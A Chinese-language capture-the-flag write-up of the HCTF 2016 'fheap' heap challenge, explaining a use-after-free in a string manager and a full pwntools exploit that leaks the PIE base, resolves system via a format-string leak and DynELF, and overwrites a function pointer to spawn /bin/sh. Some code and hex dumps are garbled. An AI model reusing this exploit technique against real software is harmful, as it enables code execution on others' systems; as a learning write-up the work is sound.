HCTF 2016 fheap

一. 源码

fheap.c

二. 题目分析

1. 程序的生成

假设我们的源码文件名叫做fheap.c

```
gcc fheap.c -pie -fpic -o fheap
strip fheap
```

其中-fpic是辅助-pie, 没有-fpic将会编译失败. strip是去除符号表(Discard symbols from object files)

结论: 平常PWN文件都可以正常调试,可是题目给我们的文件是无法调试的,加大了难度。 2. 程序的运行

运行之后,三个选项:

- 1. create string
- 2. delete string
- 3. quit
 - 1. 选择create string, 输入size, content.
 - 2. 选择delete string, 输入id, 是否删除.
 - 3. 选择quit, 退出程序.

结论: 这是程序运行的简单介绍, 实际上就是一个字符串的管理程序。创建就是malloc, 删除free.

3. 程序分析

结构体:

```
typedef struct String{
    union {
        char *buf;
        char array[16];
        //输入的字符串大小>16, 地址付给buf
        char array[16];
        //输入的字符串大小<16, 存放在array中
    } o;
    int len;
    void (*free)(struct String *ptr); //存放的free函数的地址, delete时使用
} String;

struct {
    int inuse;
    String *str;
} Strings[0x10];
```

1. create string

```
1. 字符串块<16, 在原来的堆块上存放输入的字符串。
  0x000000000000000031
                                       0x00000000000000000
  0x5564005f2020: 0x00000000000000000
                                       0x000055640039ad52
2. 字符串块>=16, malloc一个输入的字符串大小size的空间, 将该空间地址存放在原来的堆块中。
  0x55a0e9665000: 0x00000000000000000
                                       0x00000000000000031
  0x55a0e9665010: 0x000055a0e9665040 内容地址0x0000000000000000
                                       0x000055a0e85dad6c
                 (x000000000000000019
                <u>0x00000000000000000</u>
                                       0x0000000000000031
  0x55a0e9665040 0x6161616161616161
                                       0x6161616161616161
  输入的内容
              0x6262626262626262
                                       0x000055a0e85dad2d
```

2. delete string

存在double free漏洞: fastbin维护的chunk大小从32~128字节, 假定我们执行一下过程.

```
create(4, 'aa') --> id = 0, 假定堆块地址: 0x5010;
create(4, 'bb') --> id = 1, 假定堆块地址: 0x5040
delete(1)
delete(0)
create(0x18, 'a' * 0x18) --> id = 0;
```

注意: 最后一次create(0x18, 'a' * 0x18), malloc两个堆块, 分别为0x5010, 0x5040, 其中0x5040存放的是字符串内容. 0x5010存放着0x5040地址, 如下: .

```
0×00000000000000000
0×5000:
                                                 0×0000000000000001
              0×0000000000005040
0×5010:
                                                 0 \times 00000000000000000
              0x0000000000000018
0×5020:
                                                 0x0000000000000d6c(freeShort)
               0×00000000000000000
0x5030:
                                                 0x0000000000000031
               0x6161616161616161
0×5040:
                                                 0x6161616161616161
0x5050:
               0×6161616161616161
                                                0x0000000000000d52(freeLong)
```

假如此时, 我们delete(1), 关键代码中的Strings[1].str ==> 0x6161616161616161, 为真. 就会执行0x5058的函数(freeLong). 由此, 我们可以有这样的设想: create(0x20, content), content中的内容可以覆盖1中的freeLong函数. delete(1), 就可以修改程序执行的流程.

4. 涉及的知识点:

fastbin的设计是为了快速的分配而准备的, 先进后出.

详见: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/? spm=a313e.7916648.0.0.rJLhzh

4. 程序的调试

任何程序都不是一下子能写成功, 需要调试, 如何调试?

```
from pwn import *

p = process('./fheap')
.....
gdb.attach(p)
.....
```

执行过程中会弹出一个gdb的调试窗口, 这个窗口只和你写的Python脚本进行交互, 我们在Python脚本中写入发送的数据即可.

三. 思路总结

保护检查

总体思路: 泄露程序基地址, 找出system函数地址. 将free地址覆盖为system, 输入/bin/sh, 释放.

First Step:泄露程序基地址

```
objdump -d fheap > fheap.txt
```

```
freeShort(offset): 0xd52
freeLong(offset): 0xd6c
d2d:     e8 5e fc ff ff
callq 990 <puts@plt>
```

可以看出,两个free函数与0xd2d只相差一个字节,于是我们可以将free函数的最后一个字节修改为0x2d,从而调用puts函数,将字符串和callq990这条指令的地址一块打印出来,然后减去0xd2d,就是整个程序加载的基地址.

泄露system函数地址

利用格式化字符串漏洞, 以及pwntools模块的DynELF来找出system函数地址.

```
def leak(addr):
    delete(0)
    data = 'aa%9$s' + '#' * (0x18 - len('aa%9$s')) + p64(print_plt)
    create(0x20, data)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil("id:")
    p.sendline(str(1))
    p.recvuntil('sure?:')
    p.send("yes0123" + p64(addr))
    p.recvuntil('aa')
    data = p.recvuntil("####")[:-4]
    data += "\x00"
    return data
```

最后一步

发送"/bin/sh", 用system函数覆盖free函数.

```
payload = '/bin/sh\x00' + '#' * (0x18 - len('/bin/sh\x00')) + p64(system_addr)
```

EXP

```
from pwn import *
from ctypes import *

DEBUG = 1
# context(log_level='debug')
# context.log_level = 'debug'
if DEBUG:
    p = process('./fheap')
else:
    r = remote('172.16.4.93', 13025)
```

```
print_plt=0
def create(size,content):
    p.recvuntil("quit")
    p.send("create ")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil('str:')
    p.send(content.ljust(size,'\x00'))
    p.recvuntil('n')[:-1]
def delete(idx):
    p.recvuntil("quit")
    p.sendline("delete ")
    p.recvuntil('id:')
    p.send(str(idx)+'\n')
    p.recvuntil('sure?:')
    p.send('yes '+'\n')
def leak(addr):
    delete(0)
    data = 'aa%9$s' + '#'*(0x18 - len('aa%9$s')) + p64(print_plt)
    create(0x20, data)
    p.recvuntil("quit")
   p.send("delete ")
   p.recvuntil('id:')
   p.send(str(1) + '\n')
   p.recvuntil('sure?:')
   p.send('yes01234' + p64(addr))
    p.recvuntil('aa')
   data = p.recvuntil('####')[:-4]
    data += "\x00"
    return data
def pwn():
   global print_plt
    create(4, 'aa')
    create(4,'bb')
    create(4,'cc')
    delete(2)
    delete(1)
    delete(0)
    data='a' * 0x10 + 'b' * 0x8 + '\x2d' + '\x00'
    create(0x20, data)
    delete(1)
    p.recvuntil('b' * 0x8)
   data = p.recvline()[:-1]
    if len(data) > 8:
        data = data[:8]
    data=u64(data.ljust(8,'\x00'))
    proc base = data - 0xd2d
    print "proc base", hex(proc base)
    print plt = proc base + 0x9d0
    print "print plt", hex(print plt)
    delete(0)
    #part2
    data='a' * 0x10 + 'b'*0x8 + '\x2D'+'\x00'
    create(0x20, data)
    gdb.attach(p)
    delete(1)
    p.recvuntil('b'*0x8)
```

```
data = p.recvline()[:-1]

# gdb.attach(p)
d = DynELF(leak, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print "system_addr:", hex(system_addr)

#part3
delete(0)
data='/bin/sh;' + '#' * (0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20, data)
delete(1)
p.interactive()

if __name__ == '__main__':
pwn()
```

心得

这是我第一次接触堆方面的题, 说实话这个过程实在很苦.

- 1. 网上找的相关文章, 水平参差不齐, EXP基本不能成功的GetShell.
- 2. 调试方面的锅,不能直接调试.
- 3. 堆方面的知识太少, 还得练.

最后, 与君共勉, 加油!!!

相关链接:

- 1. 逆向安全系列:Use After Free漏洞浅析 (EXP有效)
- 2. fast-bin内存机制的利用探究 (调试新方法, 针对地址随机化)
- 3. hctf2016 fheap学习(FreeBuf发表的官方解法) (知识点较全)
- 4. HCTF开源Github
- 5. 相关文件下载:https://github.com/BBS-Bill-Gates/CTF/tree/master/2016/HCTF/fheap